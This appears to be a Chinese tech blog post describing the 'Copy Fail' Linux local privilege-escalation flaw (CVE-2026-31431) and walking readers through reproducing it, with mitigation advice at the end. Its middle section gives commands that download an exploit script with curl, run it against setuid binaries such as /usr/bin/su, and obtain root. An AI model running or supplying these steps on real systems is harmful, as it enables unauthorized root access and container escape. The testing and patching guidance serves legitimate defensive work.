当前位置:首页>python>紧急 | 732字节Python脚本,本地普通用户秒变root!Copy Fail漏洞(CVE-2026-31431)实测复现指南

紧急 | 732字节Python脚本,本地普通用户秒变root!Copy Fail漏洞(CVE-2026-31431)实测复现指南

  • 2026-10-11 08:22:43
紧急 | 732字节Python脚本,本地普通用户秒变root!Copy Fail漏洞(CVE-2026-31431)实测复现指南

昨天晚上,Xint Code团队公开了一个堪称“核弹级”的Linux本地提权漏洞——Copy Fail。

最恐怖的是:一个仅732字节、只用Python标准库的脚本,就能在几乎所有2017年后的主流Linux发行版(Ubuntu、RHEL、CentOS、Amazon Linux、SUSE等)上,从普通用户直接拿到root权限,而且无需race condition、稳定不崩溃。

今天这篇文章,我手把手教你在自己完全控制的测试服务器/虚拟机上安全复现测试。仅限测试环境,严禁用于任何非法用途!


一、漏洞到底有多狠?

  • • 影响范围:2017年后几乎全系主流内核
  • • 利用方式:AF_ALG + splice() 精准修改page cache(只改内存,不改磁盘)
  • • 隐蔽程度:文件完整性校验完全检测不到
  • • 额外威胁:可实现Kubernetes容器逃逸(page cache主机全局共享)

一句话总结:拿来就能用的高危本地提权0day。


二、测试前必须做的准备(安全第一!)

强烈警告:

  • • 只能在自己独占的测试虚拟机、云测试实例或隔离服务器上操作
  • • 生产环境、他人服务器、多用户系统一律禁止测试
  • • 操作有风险,建议提前做好快照备份

准备工作:

  1. 1. 更新系统但暂不打最新内核补丁(用于复现)
  2. 2. 备份目标文件:
    sudo cp -a /usr/bin/su /usr/bin/su.bak
  3. 3. 确认Python3已安装(绝大多数系统自带)

三、完整复现步骤(超详细)

步骤1:获取PoC脚本

# 推荐方式curl -O https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py# 或者官方提供的快捷方式curl https://copy.fail/exp -o copy_fail_exp.py

步骤2:运行利用脚本

python3 copy_fail_exp.py

脚本默认会针对/usr/bin/su进行攻击。你也可以指定其他setuid二进制:

python3 copy_fail_exp.py /bin/ping

整个过程通常在几秒到几十秒内完成,脚本会自动完成page cache注入。

步骤3:验证提权

su# 或直接执行sudo -i

成功的话,你会直接获得root权限(无需输入密码),输入id命令应该显示 uid=0(root)。


四、测试完成后如何清理?

# 清理page cache(推荐)echo 3 > /proc/sys/vm/drop_caches# 恢复原始文件sudo cp -a /usr/bin/su.bak /usr/bin/su# 重启服务器是最彻底的清理方式

五、如何快速修复?(生产环境必看)

临时缓解措施(强烈推荐):

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.confrmmod algif_aead 2>/dev/null || true

永久修复:

  • • 立即升级内核到包含修复补丁的版本(commit a664bf3d603d 及后续)
  • • 限制CONFIG_CRYPTO_USER_API相关模块
  • • 对生产Pod增加严格seccomp/AppArmor策略,禁止AF_ALG socket

写在最后

这个漏洞的优雅和破坏力都让人脊背发凉——它几乎把“page cache全局共享”这个老生常谈的特性变成了真正的攻击面。

安全从来不是说说而已。在测试完这个漏洞后,我建议大家立刻检查自己服务器和K8s集群的内核版本和安全配置。

你已经复现成功了吗?欢迎在评论区安全地分享你的测试环境和内核版本(不要贴敏感信息)。

提醒:技术研究为了更好地防御,请务必遵守法律法规,仅在授权环境下进行安全测试。


安全第一,测试谨慎。 🛡️

(本文仅供技术学习与研究使用,任何非法利用后果自负)

最新文章

随机文章